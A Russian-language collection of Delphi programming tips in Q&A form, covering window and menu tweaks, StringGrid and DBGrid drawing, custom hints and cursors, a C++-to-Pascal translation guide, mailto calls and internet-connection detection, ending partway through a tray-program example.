Следующий пример запрещает клавишу close и сответствующий пункт в системном меню.
procedure TForm1.Button1Click(Sender: TObject);
var
hwndHandle : THANDLE;
hMenuHandle : HMENU;
begin
hwndHandle := FindWindow(nil, 'Untitled - Notepad');
if (hwndHandle <> 0) then
begin
hMenuHandle := GetSystemMenu(hwndHandle, FALSE);
if (hMenuHandle <> 0) then
DeleteMenu(hMenuHandle, SC_CLOSE, MF_BYCOMMAND);
end;
end;
Как правильно закрыть и удалить форму? Почему моя MDI Child форма при закрывании просто минимизируется?
Обрабатывайте событие OnClose для формы и выставляйте в нем параметр
Action в caFree. Дело в том, что его значение по умолчанию для MDI Child
форм =caMinimize. Кстати, если сделать Action := caNone, то форму нельзя
будет закрыть.
Стиль окна-формы указывается в CreateParams (если не перепутал). Только вот когда перемещаешь его, фон остается со старым
куском экрана. Чтобы этого не происходило, то когда pисуешь своё окно, запоминай, что было под ним,а пpи пеpемещении
восстанавливай.
HDC hDC = GetDC(GetDesktopWindow()) тебе поможет..
Нужно обрабатывать сообщение WM_NCHITTEST:
=== 1 ===
TForm1 = class(TForm)
...
private
...
procedure WMNCHitTest(var M: TWMNCHitTest); message wm_NCHitTest;
...
end;
...
procedure TForm1.WMNCHitTest(var M: TWMNCHitTest);
begin
inherited; { вызов унаследованного обработчика }
if M.Result = htClient then { Мышь сидит на окне? }
M.Result := htCaption; { Если да - то пусть Windows думает, что }
{ мышь на caption bar }
end;
...
Окно можно сделать вообще без caption.
=== 2 ===
А вот это еще лучше!
private
procedure WndProc(var Msg: TMessage); override;
. . . .
procedure TForm1.WndProc(var Msg: TMessage);
begin
inherited WndProc(Msg);
with Msg do
if (Msg = WM_NCHitTest) and (Result = htClient) then
Result := htCaption
end;
Как сделать так, чтобы окно было неактивно? Вы скажите: "Ничего сложного. Нужно только свойство окна Enabled установить в
false"... но, так как окно является владельцем компонентов, находящихся на нём, то и все компоненты станут неактивными! Но был
найден способ избежать этого!
Делаем так:
Нужно объявить процедуру в частных объявлениям (после ключевого слова Private):
private
{ Private declarations }
procedure WMNCHitTest (var M:TWMNCHitTest);message wm_NCHitTest;
В области implementation описываем процедуру так:
implementation
{$R *.DFM}
procedure TForm1.WMNCHitTest (var M:TWMNCHitTest);
begin
if M.Result=htClient then M.Result:=htCaption;
end;
=== 1 ===
SetWindowTransp(hndl: THandle; Perc: byte);
hndl - Hanle окна, которое надо сделать полупрозрачным.
Perc - число от 1 до 100, указывающее уровень прозрачности.
=== 2 ===
Чтобы поменять прозрачность окна под Win2000, например, сделать его полупрозрачным я пишу
SetLayeredWindowAttributes(Handle, clBlack, 122,LWA_ALPHA);
А если запустить этот exe-шник под Win95, то выдаётся ошибка об отсуствующем компоненте
SetLayeredWindowAttributes
К сожалению, для этого компонента метод
SaveToFile не предусмотрен. Он предусмотрен только для свойства Rows, но
в этом случае кол-во файлов будет равно количеству горизонтальных рядов
в сетке. Я использовал запись через FileWrite. Может у кого есть
альтернативные варианты?
Ответ 1:
Используй для записи TStream и его методы:
Писать в поток построчно, т.е. заменить
SaveToFile на SaveToStream, а затем весь поток
сбросить в файл, или сразу открыть поток как
файловый...
Ответ 2:
Можно и так:
unit a;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Grids, StdCtrls;
type
TForm1 = class(TForm)
ListBox1: TListBox;
Button1: TButton;
StringGrid1: TStringGrid;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
with StringGrid1 do
begin
Cells[1,0] := 'Column 1';
Cells[2,0] := 'Column 2';
Cells[3,0] := 'Column 3';
Cells[4,0] := 'Column 4';
Cells[0,1] := 'Row 1';
Cells[1,1] := 'Object';
Cells[2,1] := 'Pascal';
Cells[3,1] := 'is';
Cells[4,1] := 'excellent';
Cells[0,2] := 'Row 2';
Cells[1,2] := 'Delphi';
Cells[2,2] := 'is';
Cells[4,2] := 'RAD';
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
i,j :Integer;
begin
ListBox1.Items := StringGrid1.Rows[1];
for i := 2 to StringGrid1.ColCount do
begin
ListBox1.Items.AddStrings(StringGrid1.Rows[i]);
end;
end;
И потом, ListBox1.Items.SaveToFile(...).
Только содержимое каждой ячейки будет сопровождаться переводом каретки. И текст верхнего фиксированного ряда (если он есть)
тоже будет записан в файл. Чтобы этого избежать, я не вижу ничего другого, как заносить текст каждой ячейки в список строк,
сканируя всю таблицу в цикле.
end.
---------------2 ----------------
Мой метод....
{ сохраняем коллекцию }
procedure SaveSG(SG:TStringGrid; FileName:pchar);
var
f:textfile;
x,y:integer;
begin
assignfile (f,FileName);
rewrite (f);
writeln (f,SG.colcount);
writeln (f,SG.rowcount);
For X:=0 to SG.colcount-1 do
For y:=0 to SG.rowcount-1 do
writeln (F, SG.cells[x,y]);
closefile (f);
end;
procedure LoadSG(SG:TStringGrid; FileName:pchar);
var
f:textfile;
temp,x,y,r:integer;
sapppath,tempstr:string;
begin
if FileExists(FileName) then
begin
assignfile (f,FileName);
reset (f);
readln (f,temp);
SG.colcount:=temp;
readln (f,temp);
SG.rowcount:=temp;
For X:=0 to SG.colcount-1 do
For y:=0 to SG.rowcount-1 do
begin
readln (F, tempstr);
SG.cells[x,y]:=tempstr;
end;
end;
Как в StringGriud засунуть картинки.
Так чтобы при изминение в какойто ячейке значение,
картинка менялась. Если можно поподробней.
Установить свойство DefaultDrawing = False. При этом, прорисовка ВСЕХ ЯЧЕЕК (и текстовых, и содержащих графику) ложится на
обработчик события
OnDrawCell, которое должно в нашем случае выглядеть примерно так (при следующих допущениях для нашего примера - в ячейке
[1,1] - некоторое целое
число, в ячейке [2,1] - картинка, которая будет загружаться из файла на диске в текущем каталоге, а само имя файла зависит от
значения в [1,1]):
procedure TForm1.OnDrawCell(Sender: TObject; ACol, ARow: Longint; Rect: TRect; State: TGridDrawState);
var
Pic :TPicture;
begin
Pic := TPicture.Create;
case ARow of
1: case ACol of
1: // Прорисовываем число
StringGrid.Canvas.TextOut(Rect.Left+3, Rect.Top+3, StringGrid.Cell[1,1]);
2: // Теперь картинку
begin
case StrToInt(StringGrid.Cell[1,1]) of
1: Pic.LoadFromFile('1.bmp');
2: Pic.LoadFromFile('abba.jpg');
........................................................
end;
StringGrid.Canvas.Draw(Rect.Left+1, Rect.Top+5, TGraphic(Pic));
// или так
// StringGrid.Canvas.StretchDraw(Rect, TGraphic(Pic));
end;
end;
........................................
end;
Pic.Free;
end;
Имеется StringGrid с n-ым количеством строк. Как вставить еще несколько строк в середину StringGrid или после определенной
строки?
По-видимому, надо добавить строк в конец, изменив Grid.RowCount, а потом раздвинуть строки циклом снизу вверх:
Grid.Rows.Strings[i] := Grid.Rows.Strings[i - 1];
Или я бы сделал метод рисования этой таблицы, а данные хранил бы в отдельном stringList-е, там есть методы вставки, а вообще-то
для этих целей предпочитаю DrawGrid: переопределяю метод onDrawCell, всё же объектная модель лучше и данные проще
контролировать.
=== 1 ===
procedure AutoSizeGridColumn(Grid : TStringGrid; column : integer);
var i : integer;
temp : integer;
max : integer;
begin
max := 0;
for i := 0 to (Grid.RowCount - 1) do
begin
temp := Grid.Canvas.TextWidth(grid.cells[column, i]);
if temp > max then
max := temp;
end;
Grid.ColWidths[column] := Max + Grid.GridLineWidth + 3;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
AutoSizeGridColumn(StringGrid1, 1);
end;
=== 2 ===
1. Поскольку в компоненте StringGrid по умолчанию все столбцы имеют одинаковую ширину - в некоторых ячейках
текст обрезается. Чтобы этого избежать, после заполнения StringGrid нужно для каждого столбца находить текст
максимальной длины и в соответствии с его длиной устанавливать ширину всего столбца.
Здесь StringGrid заполняется случайными строками при создании формы.
procedure TForm1.FormCreate(Sender: TObject);
var
x, y, w: integer;
s: string;
MaxWidth: integer;
begin
with StringGrid1 do
ClientHeight := DefaultRowHeight * RowCount + 5;
randomize;
with StringGrid1 do begin
for y := 0 to RowCount - 1 do
for x := 0 to ColCount - 1 do begin
s := '';
for w := 0 to random(20) do
s := s + chr(ord('a') + random(26));
Cells[x,y] := s;
end;
Canvas.Font := Font;
for x := 0 to ColCount - 1 do begin
MaxWidth := 0;
for y := 0 to RowCount - 1 do begin
w := Canvas.TextWidth(Cells[x,y]);
if w > MaxWidth then MaxWidth := w;
end;
ColWidths[x] := MaxWidth + 5;
end;
end;
end;
29 ноя 2001 (четверг), 09:16:51
Автор: Alex Schlecht
StringGrids / DBGrids с цветными ячейками смотрятся очень красиво, и
Вы можете информировать пользователя о важных данных внутри Grid.
Совместимость: все версии Delphi
К сожалению, невозможно применить один и тот же метод к StringGrids и
к DBGrids. Итак сперва рассмотрим как это сделать в StringGrid:
1. StringGrid
=============
Для раскрашивания будем использовать событие "OnDrawCell". Следующий код показывает, как сделать в Grid красный бэкраунд.
Бэкграунд второй колонки будет зелёным.
procedure TForm1.StringGrid1DrawCell(Sender: TObject; ACol, ARow: Integer;
Rect: TRect; State: TGridDrawState);
const //здесь определяем Ваш цвет. Так же можно использовать цвета по умолчанию.
clPaleGreen = TColor($CCFFCC);
clPaleRed = TColor($CCCCFF);
begin
//Если ячейка получает фокус, то нам надо закрасить её другими цветами
if (gdFocused in State) then begin
StringGrid1.Canvas.Brush.Color := clBlack;
StringGrid1.Canvas.Font.Color := clWhite;
end
else //Если же ячейка теряет фокус, то закрашиваем её красным и зелёным
if ACol = 2 //Вторая колонка будет зелёной , другие - ячейки красными
then StringGrid1.Canvas.Brush.color := clPaleGreen
else StringGrid1.canvas.brush.Color := clPaleRed;
//Теперь закрасим ячейки, но только, если ячейка не Title- Row/Column
//Естественно это завит от того, есть у Вас title-Row/Columns или нет.
if (ACol > 0) and (ARow>0) then
begin
//Закрашиваем бэкграунд
StringGrid1.canvas.fillRect(Rect);
//Закрашиваем текст (Text). Также здесь можно добавить выравнивание и т.д..
StringGrid1.canvas.TextOut(Rect.Left,Rect.Top,StringGrid1.Cells[ACol,ARow]);
end;
end;
Если Вы захотите чтобы цвет ячеек менялся в зависимости от значения в них, то можно заменить 3 линии (if Acol = 2 ......) на
что-нибуть вроде этого
if StringGrid1.Cells[ACol,ARow] = 'highlight it'
then StringGrid1.Canvas.Brush.color := clPalered
else StringGrid1.canvas.brush.Color := clwhite;
Ну а теперь давайте раскрасим DBGrids:
2. DBGrid
=========
С DBGrids это делается намного проще. Здесь мы будем использовать событие "OnDrawColumnCell". Следующий пример
разукрашивает ячейки колонки "Status" когда значение НЕ равно "a".
Если Вы хотите закрасить целую линию, то достаточно удалить условие "If..." (смотрите ниже)
procedure TForm1.DBGrid1DrawColumnCell(Sender: TObject; const Rect: TRect;
DataCol: Integer; Column: TColumn;
State: TGridDrawState);
const
clPaleGreen = TColor($CCFFCC);
clPaleRed = TColor($CCCCFF);
begin
if Column.FieldName = 'Status' then //Удалите эту линию, если хотете закрасить целую линию
if Column.Field.Dataset.FieldbyName('Status').AsString <> 'a'
then
if (gdFocused in State) //имеет ли ячейка фокус?
then dbgrid1.canvas.brush.color := clBlack //имеет фокус
else dbgrid1.canvas.brush.color := clPaleGreen; //не имеет фокуса
//Теперь давайте закрасим ячейку используя стандартный метод:
dbgrid1.DefaultDrawColumnCell(rect,DataCol,Column,State)
end;
Вот и всё. Не правда ли красиво ?
Ответ 2:
Фрагмент кода моей программы - в зависимости от значения в поле
taPlatAnswerType
рисует строку белам цветом на красном фоне
procedure TfmMain.dgPlatDrawColumnCell(Sender: TObject; const Rect:
TRect;
DataCol: Integer; Column: TColumn; State: TGridDrawState);
begin
with dgPlat.Canvas do
begin
if (taPlatAnswerType.AsString = 'b') and not (gdFocused in State)
then
// Условие какую строку надо рисовать по другому
begin
Brush.Color := clRed;
Font.Color := clWhite;
FillRect(Rect);
TextOut(Rect.Left, Rect.Top, Column.Field.Text);
end
else
dgPlat.DefaultDrawColumnCell(Rect, DataCol, Column, State);
end;
end;
Захотелось тут сделать так, чтобы в приложении вызывался хелп
с окошечком для поиска раздела. Hу короче макрос "Search()" для WinHelp-а.
procedure TForm1.HelpSearchFor;
var
S : String;
begin
S := '';
Application.HelpFile := 'C:\MYAPPPATH\MYHELP.HLP';
Application.HelpCommand(HELP_PARTIALKEY, LongInt(@S));
end;
WinProcs.function WinHelp(Wnd: HWnd; HelpFile: PChar; Command: Word; DatA>:
LongInt): Bool;
HELP_CONTEXTPOPUP
An unsigned long integer containing the context number for a topic.
Displays in a pop-up window a particular Help topic identified by a context
number that has been defined in the [MAP] section of the .HPJ file.
Hint примерно такой: Dies ist ein @zweizeiliger Hint@aerhlkjerh
procedure TForm1.FormCreate(Sender: TObject);
Var I: Integer;
S: String;
begin
for I := 0 to ComponentCount -1 do
if Components[I] is TControl then
With TControl(Components[I]) Do
Begin
S := Hint;
While Pos('@',S) <> 0 Do
S[Pos('@',S)] := #13;
Hint := S;
End;
end;
function RevealHint (Control: TControl): THintWindow;
{Показать окно Hint для указанного Control, и убрать его в методе RemoveHint.}
var
ShortHint: string;
AShortHint: array[0..255] of Char;
HintPos: TPoint;
HintBox: TRect;
begin
Result := THintWindow.Create(Control); { создать лкно для Hint }
ShortHint := GetShortHint(Control.Hint); { получить левую часть - до знака '|': }
HintPos := Control.ClientOrigin;
Inc(HintPos.Y, Control.Height + 6); <<<< See note below
HintBox := Bounds(0, 0, Screen.Width, 0);
DrawText(Result.Canvas.Handle,
StrPCopy(AShortHint, ShortHint), -1, HintBox,
DT_CALCRECT or DT_LEFT or DT_WORDBREAK or DT_NOPREFIX);
OffsetRect(HintBox, HintPos.X, HintPos.Y);
Inc(HintBox.Right, 6);
Inc(HintBox.Bottom, 2);
{ Now show the window: }
Result.ActivateHint(HintBox, ShortHint);
end; {RevealHint}
procedure RemoveHint (var Hint: THintWindow);
{Убрать окно Hint ранее открытое в функции RevealHint.}
begin
Hint.ReleaseHandle;
Hint.Free;
Hint := nil;
end; {RemoveHint}
1. Создаем свой класс - потомок от THintWindow
type
TCustomHint = class (THintWindow)
public
constructor Create(AOwner: TComponent); override;
end;
Пpимечание 1. Этот способ не позволит изменить цвет шpифта - для этого
пpидется пеpекpывать метод Paint;
Пpимечание 2. Если пеpекpыть CreateParams, то можно, напpимеp, наpисовать
Hint в фоpме облачка.
Пpимечание 3. Для изменения цвета фона F1 TApplication.OnShowHint, HintInfo.
2. Меняем фонт:
constructor TCustomHint.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
with Canvas.Font do // Именно так, а не пpосто Font!
begin
Name := 'Times New Roman Cyr';
Style := [fsBold, fsItalic];
Size := 40;
end;
end;
3. Устанавливаем новый хинт
procedure TForm1.FormCreate(Sender: TObject); // Это может быть любой
begin // обpаботчик
HintWindowClass := TMyHint; // Устанавливаем глобальную пеpеменную
Application.ShowHint := false; // Application.FHintWindow.Free
Application.ShowHint := true; // Application.FHintWindow.Create
end;
Литеpатуpа:
1. <...>\Source\VCL\Forms.pas (TApplication).
2. <...>\Source\VCL\Controls.pas (THintWindow).
3. Delphi Help (OnShowHint, THintInfo).
Q: Как использовать свои курсоры в программе?
A: {$R CURSORS.RES}
const
crZoomIn = 1;
crZoomOut = 2;
Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN');
Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT');
Вы можете програмно установить курсор на компонент, имеющий подсказку или показать собственную подсказку.
Пример 1 - программная установка курсора мыши
procedure TForm1.Button1Click(Sender: TObject);
var
pt : TPoint;
begin
{Позволим перерисовку кнопки}
Application.ProcessMessages;
{Получаем координаты экрана для центра кнопки}
pt := ClientToScreen(Point(Button1.Left + Button1.Width div 2,
Button1.Top + Button1.Height div 2));
{Устанавливаем курсор на центр кнопки}
SetCursorPos(Pt.x, Pt.y);
end;
Пример 2 - Создание собственного окна подсказки
procedure TForm1.FormCreate(Sender: TObject);
begin
Timer1.Enabled := false;
Panel1.Visible := false;
Panel1.BevelInner := bvNone;
Panel1.BevelOuter := bvNone;
Panel1.BorderStyle := bsSingle;
Panel1.Color := clWhite;
Button1.Hint := 'Hint test';
end;
Сделаем это по нажатию на кнопку, а по нажатию на вторую кнопку скрываем окно hint'a:
public
{ Public declarations }
h:THintWindow;
procedure TForm1.Button1Click(Sender: TObject);
begin
IF h<>nil then H.ReleaseHandle;
H:=THintWindow.Create(Form1);
H.ActivateHint(Form1.ClientRect,'Это всплывающая подсказка');
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
IF h<>nil then H.ReleaseHandle;
end;
var
words: TStringList;
procedure TForm1.FormCreate(Sender: TObject);
begin
words := TStringList.Create;
words.Sorted := true;
words.Add('one');
words.Add('two');
words.Add('four');
words.Add('five');
words.Add('six');
words.Add('seven');
words.Add('eight');
words.Add('nine');
words.Add('ten');
end;
procedure TForm1.Edit1KeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
const
chars: set of char = ['A'..'Z', 'a'..'z', 'А'..'Я', 'а'..'я'];
var
w: string;
i: integer;
s: string;
full: string;
SelSt: integer;
begin
case Key of
VK_RETURN, VK_TAB: begin
Edit1.SelStart := Edit1.SelStart + Edit1.SelLength;
Edit1.SelLength := 0;
Exit;
end;
VK_DELETE, VK_BACK: begin
Edit1.ClearSelection;
Exit;
end;
end;
s := Edit1.Text;
SelSt := Edit1.SelStart;
i := SelSt;
if (length(s) > i) and (s[i+1] in chars) then Exit;
w := '';
while (i >= 1) and (s[i] in chars) do begin
w := s[i] + w;
dec(i);
end;
if length(w) <= 0 then Exit;
words.Find(w, i);
if (i >= 0) and (UpperCase(copy(words[i], 1, length(w))) = UpperCase(w)) then begin
full := words[i];
insert(copy(full, length(w) + 1, length(full)), s, SelSt + 1);
Edit1.Text := s;
Edit1.SelStart := SelSt;
Edit1.SelLength := length(full) - length(w);
end;
end;
Есть у меня конечно InstallShield, но пакетик довольно большой и качать его...
Если тебе нужен именно ОН -- поищи на сайте производителя.
А вообще мой совет - пакеты установки под ним получаются довольно большие,
поэтому лучше использовать какие-нибудь другие инсталляторы - например, Setup Generator.
У Дельфя где-то есть файл bdedeploy (у меня он лежит в папке
C:\Program Files\Common Files\Borland Shared\BDE) - там очень подробно описывается какие файлы
нужны для нормального функционирования программы, использующей базы данных.
Кстати, не забудь включить еще и файл idpdx32.dll - про него почему-то ни слова... (????)
((( Установка получается на порядок поменьше, да и файликов лишних нет... ))))
Удерживая клавишу Shift, выделите компонент на палитре компонентов.
Голубая окантовка появится вокруг границ компонента на палитре.
Теперь щелкните на форме в различных местах.
С каждым щелчком Вы получите новую копию компонента.
Чтобы убрать эту опцию, один раз щелкните по исходному компоненту на палитре,
отпустив клавишу Shift.
Созданное на Delphi 32 приложение по умолчанию загружает библиотеки OLE32 которые весят порядка 1.5 мега.
В том случае, если приложение не использует технологию OLE
и не работает с Borland Database Engine, для уменьшения объема
занимаемой памяти эти библиотеки можно выгрузить,
указав в файле проекта первой строкой: FreeLibrary(GetModuleHandle('OleAut32')); В Uses проекта необходимо указать модуль
Windows.
function IsDelphiRun:boolean;
{Работает ли Delphi сейчас}
var
h1,h2,h3:Hwnd;
begin
h1:=FindWindow('TAppBuilder',nil);
h2:=FindWindow('TAlignPalette',nil);
h3:=FindWindow('TPropertyInspector',nil);
Result:=(h1<>0)and(h2<>0)and(h3<>0);
end;
Цель данного документа - обучить читатателя основам техники перевода программ на С++, написанных только с
использованием Win32 API, на язык Object Pascal, используемый в RAD Delphi. Автор не ставил перед собой цели
научить пользователя переводить С-программы, написанные с ипользованием какой бы то ни было классовой
оболочки (OWL, MFC etc.), и если читатель все же смог, руководствуясь данным текстом, перевести такую
программу на Object Pascal, то ответственнен за это только он.
Структура С-программы для Windows
Как известно, точкой входа в С-программы является функция WinMain. Эта функция обязательно присутствует в
каждой С-программе, но в Object Pascal нет понятия, аналогичного WinMain в С++, и точкой входа в программу
является первый оператор главного файла проекта .dpr-файла
Program main;
uses windows;
begin
//выполнение программы начнется отсюда
end;
Таким образом, содержимое WinMain переносится (с соответствующими изменениями) в главный блок begin...end
программы. Далее необходимо из тела функции WinMain выделить все описания переменных и внести их в блок var
Pascal-программы. Затем необходимо найти описания переменных из С-программы, расположенные вне любых
функций и вынести их в самый верхний блок var программы.
Соответсвие между типами данных в C++ и Pascal
Изначально имена типов в С и Pascal бвли различны, однако в Object Pascal для совместимости добавлены
синонимы стандартных типов с именами такими же, как и в С. В таблице внизу приведены имена типов, имеющихся
как в С++, так и в Object Pascal и их эквиваленты в Object Pascal.
HWND; HPEN; HANDLE; HICON; HBITMAP; HICON; etc. THandle; LongInt
DWORD LongInt
LPSTR PChar
CHAR byte
PVOID Pointer
BOOL longbool
Также в WinAPI используется очень много типов-структур (в Pascal - записи record). Чтобы преобразовать имя
типа-структуры из С в Pascal, в большинстве случаев достаточно добавит к именам букву T, например,
PAINTSTRUCT -> TPaintStruct; POINT -> TPoint; RECT -> TRect. Имя типа-указателя-на-структуру остается
неизменным (оно как начиналось на P, так и начинается), например, PHandle, PRECT, PPoint.
Преобразования констант
Имена общеситсемных констант остаются без изменений. Константы, вводимые при помощи директивы #DEFINE
вводятся в Pascal-программу при помощи слова const. Макроопределения из С рекомендуется заменять на
функции.
Преобразования синтаксиса
Преобразования происходят по следующей схеме:
Элемент из С++ Элемент из Pascal
{ } Begin и End соответственно
= :=
== =
!= <>
& или && and
| или || or
Аналогично заменяются операторы.
как в Делфи вызвать Outlook Express, так чтобы при его
открытии создавалось сообщение с вписанными : адресами(кому и от кого) и
темой, а также текстом сообщения (считываемом с заданного текстового
файла).
2) И подскожите как в Делфи сделать, чтобы вызвался Outlook Express и
при
его
открытии доставлялась почта, причем копии полученных сообщений, если
сообщения есть, записывались в заданные текстовые файлы.
== 1 ===
Без Outlook можно
TNMSNTP компонент
=== 2 ===
1.
var em:subject,em_body,em_mail:String;
begin
em_subject:='This is a subject line';
em_body:='Message body text goes here';
mailto:em_mail:='mailto:coolsong@mail.ru?subject='+em_subject+'amp&body='+em_body">
mailto:em_mail:='mailto:coolsong@mail.ru?subject='+em_subject+'amp&body='+em_body">mailto:em_mail:='mailto:coolsong@mail.ru?subj
ect='+em_subject+'&body='+em_body
ShellExecute(Handle,'open',PChar(em_mail),nil,nil,SW_SHOWNORMAL);
end;
2. Второе через дельфи реализовать нельзя. Но можно поставить галочку в Outlook Express чтобы он получал почту автоматически
при старте
программы. А сам аутлук запускать из дельфи таким образом:
ShellExecute(Handle,'open','путь_к_аутлуку_вместе_с_именем_файла_аутлука',nil,nil,SW_ShowNormal);
Далее настроить фильтры аутлука таким образом, чтобы он записывал
сообщения в зависимости от свойств письма(from, to, subject, attaching и
т.д.) в разные свои папки. Только так. А как дельфи чтобы ещё их
обрабатывал, я не знаю.
Ответ 3:
1)uses ..., ShelAPI;
var
SomeStr,SubjStr,BodyStr:string
begin
SomeStr:='mailto:AlexVVH%20?Subject='+SubjStr+'amp&body='+BodyStr;
ShellExecute(form1,'open',PChar(SomeStr),'','',SW_SHOW);
end
Поле от кого заполняется почтовиком; в строке SomeStr ВСЕ пробелы
замени на '%20', а ВСЕ символы #13#10 - на '%13%10'.
2)Может проще самому написать почтовый клиент?
P.S. Ориентироваться только на Outlook не стоит, если ты сможешь
решить свой второй вопрос с аутлуком, то на машине с TheBat! твоя
программа работать не будет
function TGenericNetTask.GetPeerOrigin( const ALogin : String ) : DWORD;
const AddressStrMaxLen = 256;
var len : DWORD;
ptr : PChar;
pHE : PHostEnt;
addr : TSockAddr;
buf : Array [0..AddressStrMaxLen-1] of Char;
begin
if FNet=nil then raise ESocketError.Error(-1,ClassName+'.GetPeerAds: Net is
not defined',WSAHOST_NOT_FOUND);
len := SizeOf(TSockAddr);
if getpeername(FSocket,addr,len)<>0 then
RaiseLastSocketError(-1,ClassName+'.GetPeerAds: getpeername()');
case addr.sin_family of
AF_INET: // TCP/IP
begin
pHE := gethostbyaddr( PChar(@addr.sin_addr), SizeOf(TInAddr),
AF_INET );
if pHE=nil then RaiseLastSocketError(-1,ClassName+'.GetPeerAds:
gethostbyaddr()');
FPeerNodeName := pHE^.h_name;
if FNet.NodeByName(FPeerNodeName)=nil then
begin
ptr := StrScan(pHE^.h_name,'.');
if ptr<>nil then FPeerNodeName :=
Copy(pHE^.h_name,1,ptr-pHE^.h_name);
end;
end;
else
len := AddressStrMaxLen;
if WSAAddressToStringA(sin,sinlen,nil,buf,len)<>0 then
RaiseLastSocketError(-1,ClassName+'.GetPeerAds: WSAAddressToStringA()');
ptr := StrRScan(buf,':');
if ptr<>nil then len := ptr-buf;
FPeerNodeName := Copy(buf,1,len);
end;
Result :=
FNet.EncodeAddress(ALogin,FPeerNodeName,'',[bLoginIdRequired,bNodeIdREquired,bR
aiseError]);
end; {TGenericNetTask.GetPeerOrigin}
function GetIEFavourites(const favpath: string):TStrings;
var
searchrec:TSearchrec;
str:TStrings;
path,dir,filename:String;
Buffer: array[0..2047] of Char;
found:Integer;
begin
str:=TStringList.Create;
//Get all file names in the favourites path
path:=FavPath+'\*.url';
dir:=ExtractFilepath(path);
found:=FindFirst(path,faAnyFile,searchrec);
while found=0 do begin
//Get now URLs from files in variable files
SetString(filename, Buffer, GetPrivateProfileString('InternetShortcut',
PChar('URL'), NIL, Buffer, SizeOf(Buffer), PChar(dir+searchrec.Name)));
str.Add(filename);
found:=FindNext(searchrec);
end;
//unterordner finden
found:=FindFirst(dir+'\*.*',faAnyFile,searchrec);
while found=0 do begin
if ((searchrec.Attr and faDirectory) > 0) and (searchrec.Name[1]<>'.') then
str.AddStrings(GetIEFavourites(dir+'\'+searchrec.name));
found:=FindNext(searchrec);
end;
FindClose(searchrec);
Result:=str;
end;
procedure TForm1.Button1Click(Sender: TObject);
var pidl: PItemIDList;
FavPath: array[0..MAX_PATH] of char;
begin
SHGetSpecialFolderLocation(Handle, CSIDL_FAVORITES, pidl);
SHGetPathFromIDList(pidl, favpath);
ListBox1.Items:=GetIEFavourites(StrPas(FavPath));
end;
== 1 ===
interface
uses
Windows, SysUtils, Registry, WinSock, WinInet;
type
TConnectionType = (ctNone, ctProxy, ctDialup);
function ConnectedToInternet : TConnectionType;
function RasConnectionCount : Integer;
implementation
//For RasConnectionCount =======================
const
cERROR_BUFFER_TOO_SMALL = 603;
cRAS_MaxEntryName = 256;
cRAS_MaxDeviceName = 128;
cRAS_MaxDeviceType = 16;
type
ERasError = class(Exception);
HRASConn = DWord;
PRASConn = ^TRASConn;
TRASConn = record
dwSize: DWORD;
rasConn: HRASConn;
szEntryName: Array[0..cRAS_MaxEntryName] Of Char;
szDeviceType : Array[0..cRAS_MaxDeviceType] Of Char;
szDeviceName : Array [0..cRAS_MaxDeviceName] of char;
end;
TRasEnumConnections =
function (RASConn: PrasConn; { buffer to receive Connections data }
var BufSize: DWord; { size in bytes of buffer }
var Connections: DWord { number of Connections written to buffer }
): LongInt; stdcall;
//End RasConnectionCount =======================
function ConnectedToInternet: TConnectionType;
var
Reg : TRegistry;
bUseProxy : Boolean;
UseProxy : LongWord;
begin
Result := ctNone;
Reg := TRegistry.Create;
with REG do
try
try
RootKey := HKEY_CURRENT_USER;
if OpenKey('\Software\Microsoft\Windows\CurrentVersion\Internet settings',False) then begin
//I just try to read it, and trap an exception
if GetDataType('ProxyEnable') = rdBinary then
ReadBinaryData('ProxyEnable', UseProxy, SizeOf(LongWord) )
else begin
bUseProxy := ReadBool('ProxyEnable');
if bUseProxy then
UseProxy := 1
else
UseProxy := 0;
end;
if (UseProxy <> 0) and ( ReadString('ProxyServer') <> '' ) then Result := ctProxy;
end;
except
//Obviously not connected through a proxy
end;
finally
Free;
end;
//We can check RasConnectionCount even if dialup networking is not installed
//simply because it will return 0 if the DLL is not found.
if Result = ctNone then begin
if RasConnectionCount > 0 then Result := ctDialup;
end;
end;
function RasConnectionCount : Integer;
var
RasDLL : HInst;
Conns : Array[1..4] of TRasConn;
RasEnums : TRasEnumConnections;
BufSize : DWord;
NumConns : DWord;
RasResult : Longint;
begin
Result := 0;
//Load the RAS DLL
RasDLL := LoadLibrary('rasapi32.dll');
if RasDLL = 0 then exit;
try
RasEnums := GetProcAddress(RasDLL,'RasEnumConnectionsA');
if @RasEnums = nil then
raise ERasError.Create('RasEnumConnectionsA not found in rasapi32.dll');
Conns[1].dwSize := Sizeof (Conns[1]);
BufSize := SizeOf(Conns);
RasResult := RasEnums(@Conns, BufSize, NumConns);
If (RasResult = 0) or (Result = cERROR_BUFFER_TOO_SMALL) then Result := NumConns;
finally
FreeLibrary(RasDLL);
end;
end;
=== 2 ===
Информация о том, есть ли в данный момент соединение с Интернетом, лежит в реестре. Если каждую секунду считывать это
значение, то можно определить, когда соединение было установлено и разорвано. При этом чтение их реестра не будет сильно
загружать компьютер - весь HKEY_LOCAL_MACHINE лежит в памяти и обращение к диску не понадобится. Естественно, здесь
опять понадобится резидентная программа.
Для работы с реестром здесь используются непосредственно функции WinAPI. Это позволяет сэкономить память и ускорить
проверку соединения. При изменении соединения вызывается процедура InetConnectionChange. Таким образом, чтобы изменить
действия программы, достаточно переписать эту процедуру. Эта программа при соединении с Интернетом создает tray. В его меню
включены пункты открыть страницу http://program.dax.ru и послать письмо на program@dax.ru с темой subscribe. При выходе из
Интернета tray исчезае
program Project1;
uses
Windows,
ShellAPI,
Messages;
const
ClassName = 'MyResident'; // Имя класса
WM_NOTIFYTRAYICON = WM_USER + 1; { Это сообщение будет
генерироваться при событиях с tray }
var
menu: hMenu = 0; // Всплывающее меню
mywnd: hWnd; // Окно программы
reg: HKEY;
connection: longint;
// Создание всплывающего меню:
function CreateMyMenu: hMenu;
begin
result := CreatePopupMenu;
if result = 0 then Exit;
